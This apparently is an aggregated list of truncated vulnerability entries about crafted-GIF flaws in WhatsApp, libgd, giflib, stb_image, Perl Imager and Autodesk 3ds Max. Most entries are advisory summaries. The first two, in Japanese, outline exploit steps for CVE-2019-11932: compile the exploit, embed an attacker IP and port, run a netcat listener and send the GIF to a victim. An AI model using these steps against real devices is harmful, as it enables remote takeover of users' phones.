CVE-2019-11932

CVE-2019-11932 system と gadget のアドレスは、情報漏洩の脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えた後、次のコードを実行して破損した GIF ファイルを生成します。 notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18...

CVE-2019-11932

CVE-2019-11932 exploit.cファイル内の待受アドレス（攻撃者のもの）と待受ポートを変更してください。 次の16進コード： 3139 322e 3136 382e 322e 3732 2034 3434 3420 コードをコンパイルします： gcc -o exploit egiflib.c exploit.c コンパイルされたファイルを実行します：./exploit exploit.gif 出力をgifにコピーします netcatリスナーを起動します： nc -lvp 4444 被害者に送信してください！ 影響を受けるバージョン: 2.19.230 以下 公式にはバージ...

Updated libgd packages fix a security vulnerability

A vulnerability was discovered in libgd2, a library for programmatic graphics creation and manipulation, which may result in denial of service or potentially the execution of arbitrary code if a malformed GIF file is processed...

libgd: buffer overflow when processing specially crafted GIF file

A flaw was found in libgd. Processing a specially crafted GIF file allows a remote attacker to trigger a buffer overflow, resulting in an application crash and a denial of service. Arbitrary code execution is possible in theory, but considered highly unlikely because standard image decompression...

Updated giflib packages fix a security vulnerability

The updated packages fix a security vulnerability: Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size. CVE-2026-26740...

SUSE SLED15 / SLES15 Security Update : giflib (SUSE-SU-2026:2666-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by a vulnerability as referenced in the SUSE-SU-2026:2666-1 advisory. This update for giflib fixes the following issue - CVE-2026-26740: heap out-of-bounds read when processing a specially...

Security update for giflib

This update for giflib fixes the following issue CVE-2026-26740: heap out-of-bounds read when processing a specially crafted GIF file containing a GCE block with a truncated extension byte count bsc1259836. Patch Instructions: To install this SUSE update use the SUSE recommended installation...

CVE-2026-30141: Buffer Copy without Checking Size of Input

An issue was discovered in bitbank2 AnimatedGIF v2.2.0. A buffer overflow in the DecodeLZW function allows remote attackers to cause a denial of service crash or potentially execute arbitrary code via a crafted GIF file...

CVE-2026-8669

Imager versions through 1.030 for Perl allow a heap out of bounds OOB write on crafted multi-frame GIF files. Imager::File::GIF's ireadgifmultilow allocates a single per-row buffer GifRow sized for the GIF's global screen width 'SWidth' and reuses it across every image in the file. The page-match...

EUVD-2026-30535

Imager::File::GIF versions through 1.002 for Perl allow a heap out of bounds OOB write on crafted multi-frame GIF files. Imager::File::GIF's ireadgifmultilow allocates a single per-row buffer GifRow sized for the GIF's global screen width 'SWidth' and reuses it across every image in the file. The...

Linux Distros Unpatched Vulnerability : CVE-2026-5186

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A weakness has been identified in Nothings stb up to 2.30. This impacts the function stbiloadgifmain of the file stbimage.h of the component Multi-frame GIF Fil...

Linux Distros Unpatched Vulnerability : CVE-2026-5185

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A security flaw has been discovered in Nothings stbimage up to 2.30. This affects the function stbigifloadnext of the file stbimage.h of the component Multi-fra...

SUSE CVE-2026-5186

A weakness has been identified in Nothings stb up to 2.30. This impacts the function stbiloadgifmain of the file stbimage.h of the component Multi-frame GIF File Handler. This manipulation causes double free. The attack requires local access. The exploit has been made available to the public and...

CVE-2026-5186

A weakness has been identified in Nothings stb up to 2.30. This impacts the function stbiloadgifmain of the file stbimage.h of the component Multi-frame GIF File Handler. This manipulation causes double free. The attack requires local access. The exploit has been made available to the public and...

CVE-2026-5186 Nothings stb Multi-frame GIF File stb_image.h stbi__load_gif_main double free

A weakness has been identified in Nothings stb up to 2.30. This impacts the function stbiloadgifmain of the file stbimage.h of the component Multi-frame GIF File Handler. This manipulation causes double free. The attack requires local access. The exploit has been made available to the public and...

CVE-2026-5185: Heap-based Buffer Overflow

A security flaw has been discovered in Nothings stbimage up to 2.30. This affects the function stbigifloadnext of the file stbimage.h of the component Multi-frame GIF File Handler. The manipulation results in heap-based buffer overflow. The attack requires a local approach. The exploit has been...

CVE-2026-5186: Double Free

A weakness has been identified in Nothings stb up to 2.30. This impacts the function stbiloadgifmain of the file stbimage.h of the component Multi-frame GIF File Handler. This manipulation causes double free. The attack requires local access. The exploit has been made available to the public and...

PT-2026-29203

Name of the Vulnerable Software and Affected Versions Nothings stb versions prior to 2.31 Description A flaw exists in Nothings stb up to version 2.30 related to the Multi-frame GIF File Handler component. Specifically, the issue resides within the stbi load gif main function of the stb image.h...

CVE-2026-0660

A maliciously crafted GIF file, when parsed through Autodesk 3ds Max, can cause a Stack-Based Buffer Overflow vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process...

CVE-2026-0536 GIF File Parsing Stack Based Buffer Overflow

A maliciously crafted GIF file, when parsed through Autodesk 3ds Max, can cause a Stack-Based Buffer Overflow vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process...